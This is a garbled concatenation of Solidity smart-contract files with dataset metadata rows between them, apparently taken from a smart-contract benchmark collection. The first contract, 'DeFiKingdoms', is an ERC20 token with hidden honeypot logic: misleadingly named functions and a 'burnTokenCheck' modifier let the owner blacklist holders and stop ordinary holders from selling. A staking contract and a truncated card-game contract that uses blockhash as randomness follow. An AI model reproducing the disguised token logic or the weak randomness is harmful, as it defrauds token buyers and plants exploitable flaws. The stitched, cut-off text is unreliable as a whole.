function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DeFiKingdoms is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 78,538 | 787 |
53360582160fcc3c66bc32a632cab862e21de1bb38f1a6baed4850b1b5144320
| 12,597 |
.sol
|
Solidity
| false |
323452649
|
nimbusplatformorg/nim-smartcontract
|
8b8e8feb1fdfb5c33e8a506bfb032b51e5526b23
|
contracts/contracts_BSC/Staking/LockStakingRewardFixedAPY.sol
| 3,114 | 12,492 |
pragma solidity =0.8.0;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function getOwner() external view returns (address);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface INimbusRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function getOwner() external view returns (address) {
return owner;
}
function transferOwnership(address transferOwner) external onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual external {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in construction,
// since the code is only stored at the end of the constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeBEP20 {
using Address for address;
function safeTransfer(IBEP20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IBEP20 token, bytes memory data) private {
require(address(token).isContract(), "SafeBEP20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeBEP20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface ILockStakingRewards {
function earned(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function stakeFor(uint256 amount, address user) external;
function getReward() external;
function withdraw(uint256 nonce) external;
function withdrawAndGetReward(uint256 nonce) external;
}
interface IBEP20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract LockStakingRewardFixedAPY is ILockStakingRewards, ReentrancyGuard, Ownable {
using SafeBEP20 for IBEP20;
IBEP20 public immutable rewardsToken;
IBEP20 public immutable stakingToken;
INimbusRouter public swapRouter;
uint256 public rewardRate;
uint256 public immutable lockDuration;
uint256 public constant rewardDuration = 365 days;
mapping(address => uint256) public weightedStakeDate;
mapping(address => mapping(uint256 => uint256)) public stakeLocks;
mapping(address => mapping(uint256 => uint256)) public stakeAmounts;
mapping(address => mapping(uint256 => uint256)) public stakeAmountsRewardEquivalent;
mapping(address => uint256) public stakeNonces;
uint256 private _totalSupply;
uint256 private _totalSupplyRewardEquivalent;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _balancesRewardEquivalent;
event RewardUpdated(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Rescue(address indexed to, uint amount);
event RescueToken(address indexed to, address indexed token, uint amount);
constructor(address _rewardsToken,
address _stakingToken,
address _swapRouter,
uint _rewardRate,
uint _lockDuration) {
require(_rewardsToken != address(0) && _swapRouter != address(0), "LockStakingRewardFixedAPY: Zero address(es)");
rewardsToken = IBEP20(_rewardsToken);
stakingToken = IBEP20(_stakingToken);
swapRouter = INimbusRouter(_swapRouter);
rewardRate = _rewardRate;
lockDuration = _lockDuration;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function totalSupplyRewardEquivalent() external view returns (uint256) {
return _totalSupplyRewardEquivalent;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function balanceOfRewardEquivalent(address account) external view returns (uint256) {
return _balancesRewardEquivalent[account];
}
function earned(address account) public view override returns (uint256) {
return (_balancesRewardEquivalent[account] * (block.timestamp - weightedStakeDate[account]) * rewardRate) / (100 * rewardDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
require(amount > 0, "LockStakingRewardFixedAPY: Cannot stake 0");
// permit
IBEP20Permit(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
_stake(amount, msg.sender);
}
function stake(uint256 amount) external override nonReentrant {
require(amount > 0, "LockStakingRewardFixedAPY: Cannot stake 0");
_stake(amount, msg.sender);
}
function stakeFor(uint256 amount, address user) external override nonReentrant {
require(amount > 0, "LockStakingRewardFixedAPY: Cannot stake 0");
require(user != address(0), "LockStakingRewardFixedAPY: Cannot stake for zero address");
_stake(amount, user);
}
function _stake(uint256 amount, address user) private {
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
uint amountRewardEquivalent = getEquivalentAmount(amount);
_totalSupply += amount;
_totalSupplyRewardEquivalent += amountRewardEquivalent;
uint previousAmount = _balances[user];
uint newAmount = previousAmount + amount;
weightedStakeDate[user] = (weightedStakeDate[user] * (previousAmount) / newAmount) + (block.timestamp * amount / newAmount);
_balances[user] = newAmount;
uint stakeNonce = stakeNonces[user]++;
stakeAmounts[user][stakeNonce] = amount;
stakeLocks[user][stakeNonce] = block.timestamp + lockDuration;
stakeAmountsRewardEquivalent[user][stakeNonce] = amountRewardEquivalent;
_balancesRewardEquivalent[user] += amountRewardEquivalent;
emit Staked(user, amount);
}
//A user can withdraw its staking tokens even if there is no rewards tokens on the contract account
function withdraw(uint256 nonce) public override nonReentrant {
require(stakeAmounts[msg.sender][nonce] > 0, "LockStakingRewardFixedAPY: This stake nonce was withdrawn");
require(stakeLocks[msg.sender][nonce] < block.timestamp, "LockStakingRewardFixedAPY: Locked");
uint amount = stakeAmounts[msg.sender][nonce];
uint amountRewardEquivalent = stakeAmountsRewardEquivalent[msg.sender][nonce];
_totalSupply -= amount;
_totalSupplyRewardEquivalent -= amountRewardEquivalent;
_balances[msg.sender] -= amount;
_balancesRewardEquivalent[msg.sender] -= amountRewardEquivalent;
stakingToken.safeTransfer(msg.sender, amount);
stakeAmounts[msg.sender][nonce] = 0;
stakeAmountsRewardEquivalent[msg.sender][nonce] = 0;
emit Withdrawn(msg.sender, amount);
}
function getReward() public override nonReentrant {
uint256 reward = earned(msg.sender);
if (reward > 0) {
weightedStakeDate[msg.sender] = block.timestamp;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function withdrawAndGetReward(uint256 nonce) external override {
getReward();
withdraw(nonce);
}
function getEquivalentAmount(uint amount) public view returns (uint) {
address[] memory path = new address[](2);
uint equivalent;
if (stakingToken != rewardsToken) {
path[0] = address(stakingToken);
path[1] = address(rewardsToken);
equivalent = swapRouter.getAmountsOut(amount, path)[1];
} else {
equivalent = amount;
}
return equivalent;
}
function updateRewardAmount(uint256 reward) external onlyOwner {
rewardRate = reward;
emit RewardUpdated(reward);
}
function updateSwapRouter(address newSwapRouter) external onlyOwner {
require(newSwapRouter != address(0), "LockStakingRewardFixedAPY: Address is zero");
swapRouter = INimbusRouter(newSwapRouter);
}
function rescue(address to, address token, uint256 amount) external onlyOwner {
require(to != address(0), "LockStakingRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "LockStakingRewardFixedAPY: Cannot rescue 0");
require(token != address(stakingToken), "LockStakingRewardFixedAPY: Cannot rescue staking token");
//owner can rescue rewardsToken if there is spare unused tokens on staking contract balance
IBEP20(token).safeTransfer(to, amount);
emit RescueToken(to, address(token), amount);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "LockStakingRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "LockStakingRewardFixedAPY: Cannot rescue 0");
to.transfer(amount);
emit Rescue(to, amount);
}
}
| 236,133 | 788 |
f0df179401980f9301b425a9e40573036bc751087522b5bd2e16f89a17301a1a
| 21,083 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x992d6d699d3f7c627a9be1a5f6020a05ecb86200.sol
| 5,697 | 20,609 |
pragma solidity ^0.4.19;
contract CraftingInterface {
function craft(uint16[16] leftParentRunes, uint16[16] leftParentPowers, uint16[16] rightParentRunes, uint16[16] rightParentPowers) public view returns (uint16[16], uint16[16]);
}
contract DutchAuctionInterface {
function DutchAuction(address etherScrollsAddressess, address _master1, address _master2) public;
function payMasters() external;
function isForAuction(uint card) public view returns (bool);
function getCurrentPrice(uint cardNumber) public view returns (uint);
function isValidAuction(uint card) public view returns (bool);
function getAuction(uint cardNumber) public view returns(uint startingPrice, uint endingPrice, uint duration, address seller,uint startedAt);
function getSellerOfToken(uint cardNumber) public view returns (address);
}
contract DutchAuctionToBuyInterface is DutchAuctionInterface {
function DutchAuctionToBuy(address etherScrollsAddress, address master1, address master2) public;
function startAuction(uint cardNumber, uint startPrice, uint endPrice, uint duration, address seller) public;
function priceOfOfficalCardSold() public view returns (uint);
function bidFromEtherScrolls(uint cardNumber, address buyer) public payable;
function cancelBuyAuction(uint cardNumber, address requestor) public;
}
contract DutchAuctionToCraftInterface is DutchAuctionInterface {
function DutchAuctionToCraft(address etherScrollsAddress, address master1, address master2) public;
function startAuction(uint cardNumber, uint startPrice, uint endPrice, uint duration, address seller) public;
function priceOfOfficalCardSold() public view returns (uint);
function placeBidFromEtherScrolls(uint _tokenId) public payable;
function cancelCraftAuction(uint cardNumber, address requestor) public;
}
contract Card {
event Transfer(address indexed from, address indexed to, uint indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint indexed tokenId);
event CardCreated(address indexed owner, uint cardNumber, uint craftedFromLeft, uint craftedFromRight);
event Gift(uint cardId, address sender, address reciever);
address public masterAddress1;
address public masterAddress2;
address public withdrawAddress;
struct CardStructure {
uint16[16] runes;
uint16[16] powers;
uint64 createdAt;
uint64 canCraftAt;
uint32 craftedFromLeft;
uint32 craftedFromRight;
uint difficulty;
uint16 generation;
}
CardStructure[] allCards;
mapping (uint => address) public indexToOwner;
mapping (address => uint) ownershipCount;
mapping (uint => address) public indexToApproved;
function _transfer(address _from, address _to, uint _tokenId) internal {
ownershipCount[_to]++;
indexToOwner[_tokenId] = _to;
if (_from != address(this)) {
ownershipCount[_from]--;
}
Transfer(_from, _to, _tokenId);
}
modifier masterRestricted() {
require(msg.sender == masterAddress1 || msg.sender == masterAddress2);
_;
}
function getCard(uint _id) public view returns (uint difficulty, uint canCraftAt,
uint createdAt, uint craftedFromLeft, uint craftedFromRight, uint generation, uint16[16] runes, uint16[16] powers,
address owner) {
CardStructure storage card = allCards[_id];
difficulty = uint(card.difficulty);
canCraftAt = uint(card.canCraftAt);
createdAt = uint(card.createdAt);
craftedFromLeft = uint(card.craftedFromLeft);
craftedFromRight = uint(card.craftedFromRight);
generation = uint(card.generation);
runes = card.runes;
powers = uint16[16](card.powers);
owner = address(indexToOwner[_id]);
}
function _createCard(uint16[16] _runes, uint16[16] _powers, uint _craftedFromLeft, uint _craftedFromRight, uint _generation,
address _owner) internal returns (uint) {
CardStructure memory card = CardStructure({
runes: uint16[16](_runes),
powers: uint16[16](_powers),
createdAt: uint64(now),
canCraftAt: 0,
craftedFromLeft: uint32(_craftedFromLeft),
craftedFromRight: uint32(_craftedFromRight),
difficulty: 0,
generation: uint16(_generation)
});
uint cardNumber = allCards.push(card) - 1;
CardCreated(_owner, cardNumber, uint(card.craftedFromLeft), uint(card.craftedFromRight));
_transfer(this, _owner, cardNumber);
return cardNumber;
}
string public name = "EtherScroll";
string public symbol = "ES";
function implementsERC721() public pure returns (bool) {
return true;
}
function _owns(address _claimant, uint _tokenId) internal view returns (bool) {
return indexToOwner[_tokenId] == _claimant;
}
function hasBeenApproved(address _claimant, uint _tokenId) public view returns (bool) {
return indexToApproved[_tokenId] == _claimant;
}
function _approve(uint _tokenId, address _approved) internal {
indexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint count) {
return ownershipCount[_owner];
}
function transfer(address _to, uint _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_to != address(0));
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint _tokenId) public {
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint _tokenId) public {
require(_owns(_from, _tokenId));
require(hasBeenApproved(msg.sender, _tokenId));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return allCards.length - 1;
}
function ownerOf(uint _tokenId) public view returns (address) {
address owner = indexToOwner[_tokenId];
require(owner != address(0));
return owner;
}
}
contract CardMarket is Card {
mapping (uint => uint) public numberOfBasesSold;
mapping (uint => uint) public numberOfAbilitiesSold;
uint16 lastAbilityToBeAddedToCirculation;
uint16 lastBaseToBeAddedToCirculation;
uint16[] arrayOfPossibleBases;
uint16[] arrayOfPossibleAbilities;
CraftingInterface public crafting;
uint maxRunes;
uint numberOfSpecialCardsCreated;
DutchAuctionToBuyInterface public dutchAuctionToBuy;
DutchAuctionToCraftInterface public dutchAuctionToCraft;
function CardMarket(address master1, address master2, address inputWithdrawAddress) public {
masterAddress1 = master1;
masterAddress2 = master2;
withdrawAddress = inputWithdrawAddress;
uint16[16] memory firstCard;
_createCard(firstCard, firstCard, 0, 0, 0, master1);
maxRunes = 300;
arrayOfPossibleBases = [uint16(0),uint16(1),uint16(2),uint16(3),uint16(4),uint16(5),
uint16(6),uint16(7),uint16(8),uint16(9),uint16(10),uint16(11),uint16(12),uint16(13),
uint16(14),uint16(15),uint16(16),uint16(17),uint16(18),uint16(19)];
lastBaseToBeAddedToCirculation = 19;
arrayOfPossibleAbilities = [uint16(0),uint16(1),uint16(2),uint16(3),uint16(4),uint16(5),
uint16(6),uint16(7),uint16(8),uint16(9),uint16(10),uint16(11),uint16(12),uint16(13),
uint16(14),uint16(15),uint16(16),uint16(17),uint16(18),uint16(19)];
lastAbilityToBeAddedToCirculation = 19;
}
function getBases() public view returns (uint16[]) {
return arrayOfPossibleBases;
}
function getAbilities() public view returns (uint16[]) {
return arrayOfPossibleAbilities;
}
function createSpecialCards(uint32 count, uint16 base, uint16 ability) public masterRestricted {
uint16[16] memory bases = [uint16(0), uint16(1), uint16(2), uint16(3), uint16(4), uint16(5),uint16(6), uint16(0),
uint16(1), uint16(2), uint16(3),uint16(4), uint16(5),uint16(6), base, ability];
uint16[16] memory powers = [uint16(35), uint16(20), uint16(10), uint16(5), uint16(5), uint16(5), uint16(1), uint16(35),
uint16(21), uint16(14), uint16(10),uint16(9), uint16(8), uint16(3), uint16(9), uint16(7)];
for (uint i = 0; i < count; i++) {
if (base == 0) {
bases[14] = uint16((uint(block.blockhash(block.number - i + 1)) % 20));
bases[15] = uint16((uint(block.blockhash(block.number - i + 2)) % 20));
}
powers[14] = uint16((uint(block.blockhash(block.number - i + 3)) % 9) + 1);
powers[15] = uint16((uint(block.blockhash(block.number - i + 4)) % 9) + 1);
if (numberOfSpecialCardsCreated < 250) {
_createCard(bases, powers, 0, 0, 0, msg.sender);
numberOfSpecialCardsCreated++;
}
}
}
function withdraw() public {
require(msg.sender == masterAddress1 || msg.sender == masterAddress2 || msg.sender == withdrawAddress);
dutchAuctionToBuy.payMasters();
dutchAuctionToCraft.payMasters();
uint halfOfFunds = this.balance / 2;
masterAddress1.transfer(halfOfFunds);
masterAddress2.transfer(halfOfFunds);
}
function setBuyAuctionAddress(address _address) public masterRestricted {
dutchAuctionToBuy = DutchAuctionToBuyInterface(_address);
}
function setCraftAuctionAddress(address _address) public masterRestricted {
dutchAuctionToCraft = DutchAuctionToCraftInterface(_address);
}
function setMasterAddress1(address _newMaster) public {
require(msg.sender == masterAddress1);
masterAddress1 = _newMaster;
}
function setMasterAddress2(address _newMaster) public {
require(msg.sender == masterAddress2);
masterAddress2 = _newMaster;
}
function cancelAuctionToBuy(uint cardId) public {
dutchAuctionToBuy.cancelBuyAuction(cardId, msg.sender);
}
function cancelCraftingAuction(uint cardId) public {
dutchAuctionToCraft.cancelCraftAuction(cardId, msg.sender);
}
function createDutchAuctionToBuy(uint _cardNumber, uint startPrice,
uint endPrice, uint _lentghOfTime) public {
require(_lentghOfTime >= 10 minutes);
require(dutchAuctionToBuy.isForAuction(_cardNumber) == false);
require(dutchAuctionToCraft.isForAuction(_cardNumber) == false);
require(_owns(msg.sender, _cardNumber));
_approve(_cardNumber, dutchAuctionToBuy);
dutchAuctionToBuy.startAuction(_cardNumber, startPrice, endPrice, _lentghOfTime, msg.sender);
}
function startCraftingAuction(uint _cardNumber, uint startPrice, uint endPrice,
uint _lentghOfTime) public {
require(_lentghOfTime >= 1 minutes);
require(_owns(msg.sender, _cardNumber));
CardStructure storage card = allCards[_cardNumber];
require(card.canCraftAt <= now);
require(dutchAuctionToBuy.isForAuction(_cardNumber) == false);
require(dutchAuctionToCraft.isForAuction(_cardNumber) == false);
_approve(_cardNumber, dutchAuctionToCraft);
dutchAuctionToCraft.startAuction(_cardNumber, startPrice, endPrice, _lentghOfTime, msg.sender);
}
function craftTwoCards(uint _craftedFromLeft, uint _craftedFromRight) public {
require(_owns(msg.sender, _craftedFromLeft));
require(_owns(msg.sender, _craftedFromRight));
require((isOnAuctionToBuy(_craftedFromLeft) == false) && (isOnCraftingAuction(_craftedFromLeft) == false));
require(_craftedFromLeft != _craftedFromRight);
CardStructure storage leftCard = allCards[_craftedFromLeft];
CardStructure storage rightCard = allCards[_craftedFromRight];
require(leftCard.canCraftAt <= now);
require(rightCard.canCraftAt <= now);
spawnCard(_craftedFromLeft, _craftedFromRight);
}
function isOnCraftingAuction(uint cardNumber) public view returns (bool) {
return (dutchAuctionToCraft.isForAuction(cardNumber) && dutchAuctionToCraft.isValidAuction(cardNumber));
}
function isOnAuctionToBuy(uint cardNumber) public view returns (bool) {
return (dutchAuctionToBuy.isForAuction(cardNumber) && dutchAuctionToBuy.isValidAuction(cardNumber));
}
function getCardBuyAuction(uint cardNumber) public view returns(uint startingPrice, uint endPrice, uint duration, address seller,
uint startedAt) {
return dutchAuctionToBuy.getAuction(cardNumber);
}
function getCraftingAuction(uint cardNumber) public view returns(uint startingPrice, uint endPrice, uint duration, address seller,
uint startedAt) {
return dutchAuctionToCraft.getAuction(cardNumber);
}
function getActualPriceOfCardOnBuyAuction (uint cardNumber) public view returns (uint) {
return dutchAuctionToBuy.getCurrentPrice(cardNumber);
}
function getActualPriceOfCardOnCraftAuction (uint cardNumber) public view returns (uint) {
return dutchAuctionToCraft.getCurrentPrice(cardNumber);
}
function setCraftingAddress(address _address) public masterRestricted {
CraftingInterface candidateContract = CraftingInterface(_address);
crafting = candidateContract;
}
function getDutchAuctionToCraftAddress() public view returns (address) {
return address(dutchAuctionToCraft);
}
function getDutchAuctionToBuyAddress() public view returns (address) {
return address(dutchAuctionToBuy);
}
function _startCraftRecovery(CardStructure storage card) internal {
uint base = card.generation + card.difficulty + 1;
if (base < 6) {
base = base * (1 minutes);
} else if (base < 11) {
base = (base - 5) * (1 hours);
} else {
base = (base - 10) * (1 days);
}
base = base * 2;
card.canCraftAt = uint64(now + base);
if (card.difficulty < 15) {
card.difficulty++;
}
}
function bidOnCraftAuction(uint cardIdToBidOn, uint cardIdToCraftWith) public payable {
require(_owns(msg.sender, cardIdToCraftWith));
CardStructure storage cardToBidOn = allCards[cardIdToBidOn];
CardStructure storage cardToCraftWith = allCards[cardIdToCraftWith];
require(cardToCraftWith.canCraftAt <= now);
require(cardToBidOn.canCraftAt <= now);
require(cardIdToBidOn != cardIdToCraftWith);
uint bidAmount = msg.value;
dutchAuctionToCraft.placeBidFromEtherScrolls.value(bidAmount)(cardIdToBidOn);
spawnCard(cardIdToCraftWith, cardIdToBidOn);
}
function spawnCard(uint _craftedFromLeft, uint _craftedFromRight) internal returns(uint) {
CardStructure storage leftCard = allCards[_craftedFromLeft];
CardStructure storage rightCard = allCards[_craftedFromRight];
_startCraftRecovery(rightCard);
_startCraftRecovery(leftCard);
uint16 parentGen = leftCard.generation;
if (rightCard.generation > leftCard.generation) {
parentGen = rightCard.generation;
}
parentGen += 1;
if (parentGen > 18) {
parentGen = 18;
}
uint16[16] memory runes;
uint16[16] memory powers;
(runes, powers) = crafting.craft(leftCard.runes, leftCard.powers, rightCard.runes, rightCard.powers);
address owner = indexToOwner[_craftedFromLeft];
